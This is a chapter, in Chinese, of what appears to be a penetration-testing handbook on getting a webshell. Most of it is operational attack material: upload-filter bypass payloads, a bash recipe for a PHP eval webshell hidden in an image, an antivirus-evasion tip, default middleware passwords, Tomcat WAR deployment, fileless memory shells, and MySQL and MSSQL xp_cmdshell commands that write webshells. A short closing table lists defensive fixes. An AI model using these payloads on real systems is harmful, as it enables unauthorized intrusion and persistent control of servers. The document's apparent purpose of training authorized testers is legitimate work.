第二章:Web 漏洞利用与 Getshell
核心逻辑 :拿到 Web 权限(Webshell)是进入内网的门票。本章重点在于快速、稳定地获取控制权,而非单纯弹计算器。
2.1 后台上传漏洞利用
目标:绕过前端/后端校验,上传 WebShell。
2.1.1 黑名单绕过(最经典)
场景 :服务端禁止 .asp, .php, .jsp, .aspx。
绕过技巧:
| 技巧 | Payload / 操作 | 原理 |
|---|---|---|
| 大小写混淆 | shell.Php, shell.Jsp |
Windows 文件系统不区分大小写,但代码逻辑可能区分。 |
| 特殊后缀 | shell.php5, shell.phtml |
Apache 解析漏洞(AddHandler)将特定后缀当作 PHP 执行。 |
| 双写后缀 | shell.pphphp |
过滤逻辑只替换一次 php。 |
| 截断上传 | shell.php%00.jpg |
旧版 C 语言库(如 fopen)遇到 %00截断。 |
| .htaccess | 上传 .htaccess文件 |
AddType application/x-httpd-php .jpg(让 JPG 当 PHP 执行)。 |
2.1.2 MIME 类型与 Content-Type 绕过
场景 :后端检查 $_FILES['file']['type']。
操作:
使用 Burp Suite 拦截请求,修改:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg <-- 修改为 image/gif 或 image/png
2.1.3 内容检测绕过(图片马)
场景:后端检查文件内容头(Magic Bytes)。
制作图片马:
bash
# Linux 命令
echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
cat shell.php >> normal.jpg
mv normal.jpg shell.jpg.php
防御绕过:在图片马头部加入大量垃圾字符(GIF89a),扰乱杀软特征库。
2.2 中间件漏洞利用
目标:利用中间件本身的 RCE 漏洞直接 Getshell。
2.2.1 Apache Tomcat
-
弱口令部署 WAR 包:
-
爆破
/manager/html登录口。 -
打包 JSP 马:
jar -cvf shell.war shell.jsp。 -
上传并访问
http://target/shell/shell.jsp。
-
-
CVE-2020-1938 (Ghostcat):
- 利用 AJP 协议读取任意文件或包含 JSP 马。
2.2.2 WebLogic
-
弱口令 :
weblogic/weblogic,system/password。 -
后台部署:Console 后台上传应用包。
-
反序列化漏洞:
-
CVE-2017-10271 (XMLDecoder RCE)。
-
CVE-2020-14882 (Console 权限绕过 + RCE)。
-
2.2.3 Nexus Repository Manager
-
默认密码 :
admin/admin123。 -
RCE 漏洞:CVE-2019-7238 (EL 表达式注入)。
2.3 内存马注入(无文件攻击)
目标:不落地文件,避免被静态查杀。
适用场景:高防护环境、不想留 WebShell 文件。
2.3.1 JSP 内存马(Filter 型)
原理:通过 JSP 执行 Java 代码,动态注册一个 Filter(过滤器),将所有请求拦截到恶意代码。
特点:
-
重启 Web 服务后失效(通常够用)。
-
磁盘上找不到 Shell 文件。
2.3.2 .NET 内存马(HttpModule)
原理 :利用 C# 反射机制,动态注册 IHttpModule,挂钩 Application_BeginRequest。
工具 :AntSword插件、Godzilla内存马模块。
2.4 数据库 Getshell
目标:利用数据库权限写文件。
2.4.1 MySQL
条件 :secure_file_priv为空或指定目录,File权限。
命令:
sql
-- 1. 导出 Shell
SELECT '<?php @eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- 2. 日志写 Shell (通用)
SET global general_log=on;
SET global general_log_file='/var/www/html/shell.php';
SELECT '<?php @eval($_POST[cmd]); ?>';
2.4.2 MSSQL
条件 :xp_cmdshell开启。
命令:
sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC master..xp_cmdshell 'echo ^<?php @eval($_POST[cmd]);?^> > C:\inetpub\wwwroot\shell.asp';
2.5 防御视角(给客户)
| 漏洞类型 | 修复建议 |
|---|---|
| 上传漏洞 | 1. 重命名文件(随机名+白名单后缀)。 2. 存储与执行分离(上传目录不给执行权限)。 3. 使用 WAF 拦截畸形包。 |
| 中间件漏洞 | 1. 及时更新补丁。 2. 禁用不必要协议(如 AJP)。 3. 强密码策略,限制管理后台访问 IP。 |
| 内存马 | 1. 重启 Web 服务。 2. 使用 Arthas (Java) 或 Process Explorer (.NET) 排查异常类/模块。 |
| 数据库写文件 | 1. 设置 secure_file_priv=NULL。 2. 禁用 xp_cmdshell。 |